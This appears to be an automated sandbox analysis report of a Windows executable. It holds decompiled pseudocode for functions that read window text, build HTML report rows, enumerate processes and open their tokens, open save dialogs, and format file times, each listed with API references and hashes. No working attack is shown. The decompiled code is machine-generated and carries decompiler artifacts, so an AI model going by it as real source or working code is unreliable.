Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpywcslen$_snwprintfmemset
String ID: %s (%s)
API String ID: 3979103747-1363028141
Opcode ID: 78317d02bfcb08935322c08fe3645b21644df8c2b86268209298db670e7b3c37
Instruction ID: 65e1e814fa0bf8ea8ab085bd6ee3311c73c19872bc06834ae6b579d31858dd7b
Opcode Fuzzy Hash: 78317d02bfcb08935322c08fe3645b21644df8c2b86268209298db670e7b3c37
Instruction Fuzzy Hash: C411517280020DEBCF21DF94CC49D8BB7B8FF44308F1144BAE944A7152EB74A6588BD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040614F, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040614F(void* __ecx, void* __eflags, struct HWND__* _a4) {
				void _v514;
				short _v516;
				void _v8710;
				short _v8712;
				int _t17;
				WCHAR* _t26;

				E0040B550(0x2204, __ecx);
				_v8712 = 0;
				memset( &_v8710, 0, 0x2000);
				_t17 = GetDlgCtrlID(_a4);
				_t34 = _t17;
				GetWindowTextW(_a4,  &_v8712, 0x1000);
				if(_t17 > 0 && _v8712 != 0) {
					_v516 = 0;
					memset( &_v514, 0, 0x1fe);
					GetClassNameW(_a4,  &_v516, 0xff);
					_t26 =  &_v516;
					_push(L"sysdatetimepick32");
					_push(_t26);
					L0040B278();
					if(_t26 != 0) {
						E00406025(_t34,  &_v8712);
					}
				}
				return 1;
			}

0x00406157
0x0040616d
0x00406174
0x0040617f
0x00406185
0x00406196
0x0040619e
0x004061b6
0x004061bd
0x004061d4
0x004061da
0x004061e0
0x004061e5
0x004061e6
0x004061ef
0x004061f9
0x004061ff
0x004061ef
0x00406206

APIs

memset.MSVCRT ref: 00406174
GetDlgCtrlID.USER32 ref: 0040617F
GetWindowTextW.USER32 ref: 00406196
memset.MSVCRT ref: 004061BD
GetClassNameW.USER32 ref: 004061D4
_wcsicmp.MSVCRT ref: 004061E6

Part of subcall function 00406025: memset.MSVCRT ref: 00406038
Part of subcall function 00406025: _itow.MSVCRT ref: 00406046

Strings

sysdatetimepick32, xrefs: 004061E0

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
String ID: sysdatetimepick32
API String ID: 1028950076-4169760276
Opcode ID: 5da42dd6f8dc2a5a5ce51cfedbbbc012e548a5dc60c7f50195cd90505966b8bd
Instruction ID: a6c41b950ec0abdba219e0cd23eeccead18917629e413d377b87badc6c60029b
Opcode Fuzzy Hash: 5da42dd6f8dc2a5a5ce51cfedbbbc012e548a5dc60c7f50195cd90505966b8bd
Instruction Fuzzy Hash: 65117732840119BAEB20EB95DC89EDF777CEF04754F0040BAF518F1192E7345A81CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 00404706, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 52
librarywindowCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00404706(long __edi, wchar_t* _a4) {
				short _v8;
				void* _t8;
				void* _t10;
				long _t14;
				long _t24;

				_t24 = __edi;
				_t8 = 0;
				_t14 = 0x1100;
				if(__edi - 0x834 <= 0x383) {
					_t8 = LoadLibraryExW(L"netmsg.dll", 0, 2);
					if(0 != 0) {
						_t14 = 0x1900;
					}
				}
				if(FormatMessageW(_t14, _t8, _t24, 0x400,  &_v8, 0, 0) <= 0) {
					_t10 = wcscpy(_a4, 0x40c4e8);
				} else {
					if(wcslen(_v8) < 0x400) {
						wcscpy(_a4, _v8);
					}
					_t10 = LocalFree(_v8);
				}
				return _t10;
			}

0x00404706
0x00404714
0x0040471c
0x00404721
0x0040472b
0x00404733
0x00404735
0x00404735
0x00404733
0x00404751
0x00404780
0x00404753
0x0040475e
0x00404766
0x0040476c
0x00404770
0x00404770
0x0040478a

APIs

LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002,?,00000000,?,?,004047FA,?,?,?,004035EB,?,?), ref: 0040472B
FormatMessageW.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000,?,00000000,?,?,004047FA,?,?,?,004035EB), ref: 00404749
wcslen.MSVCRT ref: 00404756
wcscpy.MSVCRT ref: 00404766
LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000,?,00000000,?,?,004047FA,?,?,?,004035EB,?), ref: 00404770
wcscpy.MSVCRT ref: 00404780

Strings

netmsg.dll, xrefs: 00404726

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
String ID: netmsg.dll
API String ID: 2767993716-3706735626
Opcode ID: 1e136739243523e06bb2833156c7d3ecb9fe647eacfe1b285a6198c622c21fe1
Instruction ID: 89adc518ee94488043421af4a237527fbec77c55aa854962abbb3bd0e0f931e1
Opcode Fuzzy Hash: 1e136739243523e06bb2833156c7d3ecb9fe647eacfe1b285a6198c622c21fe1
Instruction Fuzzy Hash: 4F01D471200114FAEB152B61DD8AE9F7A6CEB46796B20417AFA02B60D1DB755E0086AC

Uniqueness

Uniqueness Score: -1.00%

Function 0040598B, Relevance: 12.1, APIs: 8, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040598B(void* __edx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v12;
				void* _v16;
				intOrPtr _v20;
				char _v32;
				char _v72;
				void _v582;
				long _v584;
				void* __edi;
				intOrPtr _t27;
				wchar_t* _t34;
				wchar_t* _t42;
				long* _t43;
				int _t44;
				void* _t52;
				void* _t54;
				long _t56;
				long* _t57;
				void* _t60;

				_t60 = __eflags;
				_t52 = __edx;
				E004095AB( &_v72);
				_v584 = 0;
				memset( &_v582, 0, 0x1fe);
				E004095FD(_t52, _t60,  &_v72);
				_t27 = 0;
				_v12 = 0;
				if(_v20 <= 0) {
					L10:
					_t56 = 0;
				} else {
					do {
						_t57 = E00405A92(_t27,  &_v32);
						if(E00409A94( *_t57,  &_v584) == 0) {
							goto L9;
						} else {
							_t34 =  &_v584;
							_push(_t34);
							_push(_a4);
							L0040B278();
							if(_t34 == 0) {
								L5:
								_t44 = 0;
								_t54 = OpenProcess(0x2000000, 0,  *_t57);
								if(_t54 == 0) {
									goto L9;
								} else {
									_v16 = _v16 & 0;
									if(OpenProcessToken(_t54, 2,  &_v16) != 0) {
										_t44 = 1;
										CloseHandle(_v16);
									}
									CloseHandle(_t54);
									if(_t44 != 0) {
										_t56 =  *_t57;
									} else {
										goto L9;
									}
								}
							} else {
								_t42 = wcschr( &_v584, 0x5c);
								if(_t42 == 0) {
									goto L9;
								} else {
									_t43 =  &(_t42[0]);
									_push(_t43);
									_push(_a4);
									L0040B278();
									if(_t43 != 0) {
										goto L9;
									} else {
										goto L5;
									}
								}
							}
						}
						goto L12;
						L9:
						_t27 = _v12 + 1;
						_v12 = _t27;
					} while (_t27 < _v20);
					goto L10;
				}
				L12:
				E004095DA( &_v72);
				return _t56;
			}

0x0040598b
0x0040598b
0x0040599a
0x004059ae
0x004059b5
0x004059c1
0x004059c6
0x004059cb
0x004059ce
0x00405a7b
0x00405a7b
0x004059d4
0x004059d4
0x004059dc
0x004059ee
0x00000000
0x004059f0
0x004059f0
0x004059f6
0x004059f7
0x004059fa
0x00405a03
0x00405a2b
0x00405a2e
0x00405a3c
0x00405a40
0x00000000
0x00405a42
0x00405a42
0x00405a54
0x00405a59
0x00405a5a
0x00405a5a
0x00405a61
0x00405a69
0x00405a7f
0x00000000
0x00000000
0x00000000
0x00405a69
0x00405a05
0x00405a0e
0x00405a17
0x00000000
0x00405a19
0x00405a19
0x00405a1c
0x00405a1d
0x00405a20
0x00405a29
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a29
0x00405a17
0x00405a03
0x00000000
0x00405a6b
0x00405a6e
0x00405a72
0x00405a72
0x00000000
0x004059d4
0x00405a81
0x00405a84
0x00405a8f

APIs

memset.MSVCRT ref: 004059B5

Part of subcall function 004095FD: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00409619
Part of subcall function 004095FD: memset.MSVCRT ref: 0040962E
Part of subcall function 004095FD: Process32FirstW.KERNEL32(?,?), ref: 0040964A
Part of subcall function 004095FD: Process32NextW.KERNEL32(?,0000022C), ref: 0040978C
Part of subcall function 004095FD: CloseHandle.KERNEL32(?,?,0000022C,?,?,?,?,00000000,?), ref: 0040979C

Part of subcall function 00409A94: memset.MSVCRT ref: 00409AB7
Part of subcall function 00409A94: memset.MSVCRT ref: 00409ACF
Part of subcall function 00409A94: OpenProcess.KERNEL32(00000400,00000000,?,?,?,?,?,00000000,00000000), ref: 00409AE0
Part of subcall function 00409A94: memset.MSVCRT ref: 00409B25
Part of subcall function 00409A94: GetProcAddress.KERNEL32(?,GetTokenInformation), ref: 00409B4B
Part of subcall function 00409A94: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000008,?), ref: 00409C26
Part of subcall function 00409A94: FreeLibrary.KERNEL32(?,?,?,?,?,?,00000000,00000008,?,?,?,?,?,00000000,00000000), ref: 00409C34

_wcsicmp.MSVCRT ref: 004059FA
wcschr.MSVCRT ref: 00405A0E
_wcsicmp.MSVCRT ref: 00405A20
OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 00405A36
OpenProcessToken.ADVAPI32(00000000,00000002,?), ref: 00405A4C
CloseHandle.KERNEL32(?), ref: 00405A5A
CloseHandle.KERNEL32(00000000), ref: 00405A61

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$CloseHandle$OpenProcess$Process32_wcsicmp$AddressCreateFirstFreeLibraryNextProcSnapshotTokenToolhelp32wcschr
String ID:
API String ID: 768606695-0
Opcode ID: 24c99ff6b226417a7cff51520edeb71ca8997190fc09f0f890f68f92aaad849e
Instruction ID: 2def5e4e0f7fb713a9aee1133a075480eaa7d54608268b88a97ef3230c71c50c
Opcode Fuzzy Hash: 24c99ff6b226417a7cff51520edeb71ca8997190fc09f0f890f68f92aaad849e
Instruction Fuzzy Hash: 18318472A00619ABDB10EBA1DD89AAF77B8EF04345F10457BE905F2191EB349E018F98

Uniqueness

Uniqueness Score: -1.00%

Function 00407639, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00407639(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void _v68;
				char _v108;
				void _v160;
				void* __esi;
				signed int _t55;
				void* _t57;
				wchar_t* _t67;
				intOrPtr* _t73;
				signed int _t74;
				signed int _t86;
				signed int _t95;
				intOrPtr* _t98;
				void* _t100;
				void* _t102;

				_t73 = __ebx;
				_t74 = 0xd;
				_push(9);
				memcpy( &_v160, L"<td bgcolor=#%s nowrap>%s", _t74 << 2);
				memcpy( &_v68, L"<td bgcolor=#%s>%s", 0 << 2);
				_t102 = _t100 + 0x18;
				asm("movsw");
				E00407343(__ebx, _a4, L"<tr>");
				_t95 = 0;
				if( *((intOrPtr*)(__ebx + 0x2c)) > 0) {
					do {
						_t55 =  *( *((intOrPtr*)(_t73 + 0x30)) + _t95 * 4);
						_v8 = _t55;
						_t57 =  &_v160;
						if( *((intOrPtr*)(_t55 * 0x14 +  *((intOrPtr*)(_t73 + 0x40)) + 8)) == 0) {
							_t57 =  &_v68;
						}
						_t98 = _a8;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _v20 | 0xffffffff;
						_v16 = _v16 & 0x00000000;
						_v12 = _t57;
						 *((intOrPtr*)( *_t73 + 0x34))(5, _t95, _t98,  &_v28);
						E0040ADC0(_v28,  &_v108);
						E0040ADF1( *((intOrPtr*)( *_t98))(_v8,  *((intOrPtr*)(_t73 + 0x60))),  *(_t73 + 0x64));
						 *((intOrPtr*)( *_t73 + 0x50))( *(_t73 + 0x64), _t98, _v8);
						_t67 =  *(_t73 + 0x64);
						_t86 =  *_t67 & 0x0000ffff;
						if(_t86 == 0 || _t86 == 0x20) {
							wcscat(_t67, L"&nbsp;");
						}
						E0040AE90( &_v28,  *((intOrPtr*)(_t73 + 0x68)),  *(_t73 + 0x64));
						_push( *((intOrPtr*)(_t73 + 0x68)));
						_push( &_v108);
						_push(_v12);
						_push(0x2000);
						_push( *((intOrPtr*)(_t73 + 0x60)));
						L0040B1EC();
						_t102 = _t102 + 0x1c;
						E00407343(_t73, _a4,  *((intOrPtr*)(_t73 + 0x60)));
						_t95 = _t95 + 1;
					} while (_t95 <  *((intOrPtr*)(_t73 + 0x2c)));
				}
				return E00407343(_t73, _a4, L"\r\n");
			}

0x00407639
0x00407646
0x00407647
0x00407654
0x0040765f
0x0040765f
0x0040766b
0x0040766d
0x00407672
0x00407677
0x0040767d
0x00407680
0x00407686
0x00407691
0x00407697
0x00407699
0x00407699
0x0040769c
0x0040769f
0x004076a3
0x004076a7
0x004076ab
0x004076b5
0x004076be
0x004076c8
0x004076de
0x004076ee
0x004076f1
0x004076f4
0x004076fa
0x00407708
0x0040770e
0x00407718
0x0040771d
0x00407723
0x00407724
0x00407727
0x0040772c
0x0040772f
0x00407734
0x0040773f
0x00407744
0x00407745
0x0040767d
0x00407760

APIs

wcscat.MSVCRT ref: 00407708
_snwprintf.MSVCRT ref: 0040772F

Strings

<td bgcolor=#%s>%s, xrefs: 00407657
<td bgcolor=#%s nowrap>%s, xrefs: 00407649
 , xrefs: 00407702
<tr>, xrefs: 00407661

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfwcscat
String ID:  $<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
API String ID: 384018552-4153097237
Opcode ID: 95fb47b0eb5c6bd29b2c4fa7ee5083eabdad1f03c3a152d85f26f239cd8b3326
Instruction ID: d8c40f1c932df66c49e6576a1425660ae0ae50b86724cae367092fb81a03718d
Opcode Fuzzy Hash: 95fb47b0eb5c6bd29b2c4fa7ee5083eabdad1f03c3a152d85f26f239cd8b3326
Instruction Fuzzy Hash: 75318C31A00209EFDF14AF55CC86AAA7B76FF04320F1001AAF905BB2D2D735AA51DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040605E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79
windowCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E0040605E(void* __ecx, void* __eflags, intOrPtr _a4, struct HMENU__* _a8, intOrPtr _a12, int _a16, intOrPtr _a20, wchar_t* _a36, intOrPtr _a40, long _a48, void _a50) {
				struct tagMENUITEMINFOW _v0;
				int _t24;
				wchar_t* _t30;
				intOrPtr _t32;
				int _t34;
				int _t42;
				signed int _t47;
				signed int _t48;

				_t36 = __ecx;
				_t48 = _t47 & 0xfffffff8;
				E0040B550(0x203c, __ecx);
				_t24 = GetMenuItemCount(_a8);
				_t34 = _t24;
				_t42 = 0;
				if(_t34 <= 0) {
					L13:
					return _t24;
				} else {
					goto L1;
				}
				do {
					L1:
					memset( &_a50, 0, 0x2000);
					_t48 = _t48 + 0xc;
					_a36 =  &_a48;
					_v0.cbSize = 0x30;
					_a4 = 0x36;
					_a40 = 0x1000;
					_a16 = 0;
					_a48 = 0;
					_t24 = GetMenuItemInfoW(_a8, _t42, 1,  &_v0);
					if(_t24 == 0) {
						goto L12;
					}
					if(_a48 == 0) {
						L10:
						_t56 = _a20;
						if(_a20 != 0) {
							_push(0);
							_push(_a20);
							_push(_a4);
							_t24 = E0040605E(_t36, _t56);
							_t48 = _t48 + 0xc;
						}
						goto L12;
					}
					_t30 = wcschr( &_a48, 9);
					if(_t30 != 0) {
						 *_t30 = 0;
					}
					_t31 = _a16;
					if(_a20 != 0) {
						if(_a12 == 0) {
							 *0x40fe20 =  *0x40fe20 + 1;
							_t32 =  *0x40fe20; // 0x0
							_t31 = _t32 + 0x11558;
							__eflags = _t32 + 0x11558;
						} else {
							_t17 = _t42 + 0x11171; // 0x11171
							_t31 = _t17;
						}
					}
					_t24 = E00406025(_t31,  &_a48);
					_pop(_t36);
					goto L10;
					L12:
					_t42 = _t42 + 1;
				} while (_t42 < _t34);
				goto L13;
			}

0x0040605e
0x00406061
0x00406069
0x00406074
0x0040607a
0x0040607e
0x00406082
0x00406148
0x0040614e
0x00000000
0x00000000
0x00000000
0x00406088
0x00406088
0x00406093
0x00406098
0x0040609f
0x004060ae
0x004060b6
0x004060be
0x004060c6
0x004060ca
0x004060cf
0x004060d7
0x00000000
0x00000000
0x004060de
0x00406129
0x00406129
0x0040612d
0x0040612f
0x00406130
0x00406134
0x00406137
0x0040613c
0x0040613c
0x00000000
0x0040612d
0x004060e7
0x004060f0
0x004060f2
0x004060f2
0x004060f9
0x004060fd
0x00406102
0x0040610c
0x00406112
0x00406117
0x00406117
0x00406104
0x00406104
0x00406104
0x00406104
0x00406102
0x00406122
0x00406128
0x00000000
0x0040613f
0x0040613f
0x00406140
0x00000000

APIs

GetMenuItemCount.USER32 ref: 00406074
memset.MSVCRT ref: 00406093
GetMenuItemInfoW.USER32 ref: 004060CF
wcschr.MSVCRT ref: 004060E7

Strings

6, xrefs: 004060B6
0, xrefs: 004060AE

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemMenu$CountInfomemsetwcschr
String ID: 0$6
API String ID: 2029023288-3849865405
Opcode ID: c92d9e803ec22cf5b140ab292b4c2ab892016db16de87d00b51606d693616624
Instruction ID: 45aed224341beddc1f9b42311d86e3f1d1daa84a2c492251b1da63e2972132ba
Opcode Fuzzy Hash: c92d9e803ec22cf5b140ab292b4c2ab892016db16de87d00b51606d693616624
Instruction Fuzzy Hash: 7521F132504304ABC720DF45D84599FB7E8FB85754F000A3FF685A62D1E776C950CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00402BEE, Relevance: 10.6, APIs: 7, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00402BEE(void* __ebx) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				void* _t27;
				int _t31;
				void* _t34;
				int _t37;
				int _t38;
				int _t41;
				int _t50;

				_t34 = __ebx;
				if( *((intOrPtr*)(__ebx + 0x10)) == 0 ||  *((intOrPtr*)(__ebx + 0x14)) == 0) {
					return _t27;
				} else {
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v8 = GetSystemMetrics(0x4e);
					_v12 = GetSystemMetrics(0x4f);
					_t41 = GetSystemMetrics(0x4c);
					_t31 = GetSystemMetrics(0x4d);
					if(_v8 == 0 || _v12 == 0) {
						_v8 = GetSystemMetrics(0);
						_v12 = GetSystemMetrics(1);
						_t41 = 0;
						_t31 = 0;
					} else {
						_v8 = _v8 + _t41;
						_v12 = _v12 + _t31;
					}
					_t50 = _v20 - _v28;
					if(_t50 > 0x14) {
						_t38 = _v24;
						_t37 = _v16 - _t38;
						if(_t37 > 0x14 && _v20 > _t41 + 5) {
							_t31 = _t31 + 0xfffffff6;
							if(_t38 >= _t31) {
								_t31 = _v28;
								if(_t31 + 0x14 < _v8 && _t38 + 0x14 < _v12 &&  *((intOrPtr*)(_t34 + 0x1c)) != 0) {
									_t31 = SetWindowPos( *(_t34 + 0x10), 0, _t31, _t38, _t50, _t37, 0x204);
								}
							}
						}
					}
					return _t31;
				}
			}

0x00402bee
0x00402bf8
0x00402cae
0x00402c08
0x00402c10
0x00402c11
0x00402c12
0x00402c13
0x00402c20
0x00402c27
0x00402c2e
0x00402c30
0x00402c37
0x00402c4b
0x00402c50
0x00402c53
0x00402c55
0x00402c3e
0x00402c3e
0x00402c41
0x00402c41
0x00402c5a
0x00402c60
0x00402c65
0x00402c68
0x00402c6d
0x00402c77
0x00402c7c
0x00402c7e
0x00402c87
0x00402ca5
0x00402ca5
0x00402c87
0x00402c7c
0x00402c6d
0x00000000
0x00402cac

APIs

GetSystemMetrics.USER32 ref: 00402C1C
GetSystemMetrics.USER32 ref: 00402C23
GetSystemMetrics.USER32 ref: 00402C2A
GetSystemMetrics.USER32 ref: 00402C30
GetSystemMetrics.USER32 ref: 00402C47
GetSystemMetrics.USER32 ref: 00402C4E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204,?,?,?,?,?,?,?,?,0040365B), ref: 00402CA5

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsSystem$Window
String ID:
API String ID: 1155976603-0
Opcode ID: 03bfd9196a1312a0750f0a2641b8d8190b91a017e6f04a5dd0b934da2af22e19
Instruction ID: 7065afd7c6b37d04baa6ac94661e9c3c7a9384fc7fb7d7b8ebf201216021487f
Opcode Fuzzy Hash: 03bfd9196a1312a0750f0a2641b8d8190b91a017e6f04a5dd0b934da2af22e19
Instruction Fuzzy Hash: B9217F72D00219EBEF14DF68CE496AF7B75EF40318F11446AD901BB1C5D2B8AD81CA98

Uniqueness

Uniqueness Score: -1.00%

Function 004036D5, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004036D5(void* __edi, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char* _v24;
				char _v28;
				char* _v48;
				intOrPtr _v56;
				intOrPtr _v60;
				int _v64;
				int _v72;
				intOrPtr _v76;
				wchar_t* _v80;
				intOrPtr _v84;
				int _v92;
				char* _v96;
				intOrPtr _v104;
				struct tagOFNA _v108;
				void _v634;
				long _v636;
				void _v2682;
				char _v2684;
				void* __ebx;
				char _t37;
				intOrPtr _t38;
				int _t46;
				signed short _t54;

				_v636 = 0;
				memset( &_v634, 0, 0x208);
				_v2684 = 0;
				memset( &_v2682, 0, 0x7fe);
				_t37 =  *((intOrPtr*)(L"cfg")); // 0x660063
				_v12 = _t37;
				_t38 =  *0x40cbf0; // 0x67
				_v8 = _t38;
				_v28 = E00405B81(0x227);
				_v24 = L"*.cfg";
				_v20 = E00405B81(0x228);
				_v16 = L"*.*";
				E00405236( &_v2684,  &_v28);
				_t54 = 0xa;
				_v60 = E00405B81(_t54);
				_v104 =  *((intOrPtr*)(__edi + 0x10));
				_v48 =  &_v12;
				_v96 =  &_v2684;
				_v108 = 0x4c;
				_v92 = 0;
				_v84 = 1;
				_v80 =  &_v636;
				_v76 = 0x104;
				_v72 = 0;
				_v64 = 0;
				_v56 = 0x80806;
				_t46 = GetSaveFileNameW( &_v108);
				if(_t46 != 0) {
					wcscpy( &_v636, _v80);
					return E0040365E(__edi, 1,  &_v636);
				}
				return _t46;
			}

0x004036ef
0x004036f6
0x0040370b
0x00403712
0x00403717
0x0040371c
0x0040371f
0x0040372c
0x00403735
0x00403738
0x00403744
0x00403751
0x00403758
0x00403760
0x00403769
0x0040376c
0x00403778
0x0040377b
0x0040378b
0x00403792
0x00403795
0x00403798
0x0040379b
0x004037a2
0x004037a5
0x004037a8
0x004037af
0x004037b7
0x004037c3
0x00000000
0x004037d4
0x004037dc

APIs

memset.MSVCRT ref: 004036F6
memset.MSVCRT ref: 00403712

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

Part of subcall function 00405236: memset.MSVCRT ref: 00405257
Part of subcall function 00405236: _snwprintf.MSVCRT ref: 00405285
Part of subcall function 00405236: wcslen.MSVCRT ref: 00405291
Part of subcall function 00405236: memcpy.MSVCRT ref: 004052A9
Part of subcall function 00405236: wcslen.MSVCRT ref: 004052B7
Part of subcall function 00405236: memcpy.MSVCRT ref: 004052CA

GetSaveFileNameW.COMDLG32(?), ref: 004037AF
wcscpy.MSVCRT ref: 004037C3

Strings

cfg, xrefs: 00403717
L, xrefs: 0040378B

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpymemsetwcslen$HandleModulewcscpy$FileLoadNameSaveString_snwprintf
String ID: L$cfg
API String ID: 275899518-3734058911
Opcode ID: 82f9c32c0c79633b068e26f34505a517ae9d13a5a1787d7b2c1c5d310a57e8a8
Instruction ID: 069f946bae6f7cb0c9846f37a0b0d91fba0b14879ba0d1f27e167351657a8a18
Opcode Fuzzy Hash: 82f9c32c0c79633b068e26f34505a517ae9d13a5a1787d7b2c1c5d310a57e8a8
Instruction Fuzzy Hash: 78312AB1D04218AFDB50DFA5D889ADEBBB8FF04314F10416AE508B6280DB746A85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED0, Relevance: 10.6, APIs: 7, Instructions: 63
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404ED0(FILETIME* __eax, wchar_t* _a4) {
				struct _SYSTEMTIME _v20;
				long _v276;
				long _v532;
				FILETIME* _t15;

				_t15 = __eax;
				if(__eax->dwHighDateTime != 0 ||  *__eax != 0) {
					if(FileTimeToSystemTime(_t15,  &_v20) == 0 || _v20 <= 0x3e8) {
						goto L5;
					} else {
						GetDateFormatW(0x400, 1,  &_v20, 0,  &_v276, 0x80);
						GetTimeFormatW(0x400, 0,  &_v20, 0,  &_v532, 0x80);
						wcscpy(_a4,  &_v276);
						wcscat(_a4, " ");
						wcscat(_a4,  &_v532);
					}
				} else {
					L5:
					wcscpy(_a4, 0x40c4e8);
				}
				return _a4;
			}

0x00404ed0
0x00404edf
0x00404ef6
0x00000000
0x00404f00
0x00404f1c
0x00404f31
0x00404f41
0x00404f4e
0x00404f5d
0x00404f66
0x00404f69
0x00404f69
0x00404f71
0x00404f77
0x00404f7d

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 00404EEE
GetDateFormatW.KERNEL32(00000400,00000001,000003E8,00000000,?,00000080,?,?,?,?), ref: 00404F1C
GetTimeFormatW.KERNEL32(00000400,00000000,000003E8,00000000,?,00000080,?,?,?,?), ref: 00404F31
wcscpy.MSVCRT ref: 00404F41
wcscat.MSVCRT ref: 00404F4E
wcscat.MSVCRT ref: 00404F5D
wcscpy.MSVCRT ref: 00404F71

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
